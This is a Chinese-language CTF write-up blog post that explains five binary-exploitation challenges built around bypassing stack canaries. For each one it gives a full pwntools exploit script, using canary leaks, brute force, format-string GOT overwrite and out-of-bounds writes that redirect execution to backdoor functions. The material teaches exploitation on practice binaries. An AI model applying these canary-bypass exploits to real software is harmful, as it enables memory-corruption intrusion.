Canary攻击解题篇


[TOC]

babypie

知识点:

  • 覆盖canary低字节leak canary
  • ASLR/PIE随机化地址高位,低 12 位的页内偏移始终是固定的

程序开启了Canary、NX和PIE保护

程序逻辑:

  • 在输入输出前,将buf栈空间清0
  • 两次溢出,第一次溢出后有一次输出
  • 存在后门函数

漏洞利用:

  • 利用第一次溢出leak canary <=== 把canary低字节覆盖为非0
  • 利用第二次溢出修改ret_addr <=== 把ret_addr修改为sub_A3E函数 <=== 爆破

exp:

from pwn import *

def pwn():
	try:
		io = process("./babypie")
		io.sendafter(':\n', 'A'*0x29)
		io.recvuntil('A'*0x29)
		canary = u64(io.recv(7).rjust(8, '\x00'))
		print hex(canary)
		payload = 'A'*0x28 + p64(canary) + 'deadbeef' + '\x3E\x0A'
		io.sendafter(':\n', payload)
		io.interactive()
	except Exception as e:
		io.close()
		print e

while True:
	pwn()

bin

知识点:

  • printf格式化字符串漏洞任意读leak canary

程序开启了Canary和NX保护

程序逻辑:

  • 在main函数中存在格式化字符串漏洞
  • fun函数中存在溢出
  • 存在getflag后门函数

漏洞利用:

  • 利用printf格式化字符串leak canary ==> 找到canary相对于格式化字符串的偏移
  • 利用溢出覆盖ret_addr为getflag函数地址

exp:

from pwn import *

#context.log_level = 'debug'
io = process("./bin")
elf = ELF("./bin")

io.sendline('%7$p')
canary = int(io.recv(), 16)
print hex(canary)

payload = 'A'*100 + p32(canary) + 'B'*12 + p32(elf.symbols['getflag'])
io.send(payload)

io.interactive()

bin1

知识点:

  • fork循环创建子进程,canary值相同
  • 爆破canary

程序开启Canary和NX保护:没啥好说的,跟之前Canary原理篇例子一模一样

exp:

from pwn import *
import time
#context.log_level = 'debug'
io = process("./bin1")
elf = ELF("./bin1")

canary = '\x00'

for k in range(3):
	for i in range(256):
		print "Checking %d for %d" % (i, k)
		payload = 'A'*100 + canary + p8(i)
		io.sendafter('welcome\n', payload)
		time.sleep(0.01)
		res = io.recv()
		if "sucess" in res:
			canary += p8(i)
			io.send('A'*108)
			break

print 'canary: %s' % hex(u32(canary))
payload = 'A'*100 + canary + 'B'*12 + p32(elf.symbols['getflag'])
io.send(payload)
print io.recv()
io.interactive()

bin3

知识点:

  • 格式化字符串将__stack_chk_fail的got表项内容修改为后门函数

程序存在格式化字符串漏洞,有后门函数,且只有一次输入输出机会。

漏洞利用:

  • read_n只能读入0x59个字符,刚好溢出到canary
  • 格式化字符串地址为格式化字符串的第6个参数

exp:(这里我用fmtstr_payload一直打不通>_<,所以自己手动构造吧

这里我们只需要覆盖低两个字节就行,高字节是相等的

from pwn import *
#context.log_level='debug'
elf = ELF('./bin3')
io = process('./bin3')
stack_fail = elf.got['__stack_chk_fail']

#AAAAA%xx ==> 第6个参数
#xxc%8$hn ==> 第7个参数
#p64(stack_fail) ==> 第8个参数
payload = 'AAAAA' + '%' + str(elf.symbols['backdoor']&0xFFFF-5) + 'c' + '%8$hn' + p64(stack_fail)
payload = payload.ljust(0x58, 'A')

io.send(payload)
io.interactive()

homework

知识点:

  • 数组下标越界(检查不严格)造成“任意地址”写

程序开启了Canary和NX保护,存在如下漏洞:

  • 存在后门函数,数组下标检查不严格

漏洞利用:

  • 计算出ret_addr相对于数组的下标(14),然后直接把后门函数写入

exp:

from pwn import *
#context.log_level = 'debug'
io = process('./homework')
elf = ELF('./homework')

io.sendlineafter('name? ', 'XiaozaYa')
io.recvuntil('dump')
io.sendlineafter(' > ', '1')
io.sendlineafter('edit: ', '14')
io.sendlineafter('many? ', str(elf.symbols['call_me_maybe']))
io.recvuntil('dump')
io.sendlineafter(' > ', '0')

io.interactive()

这个题在输入name的时候其实有一个bss溢出漏洞


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录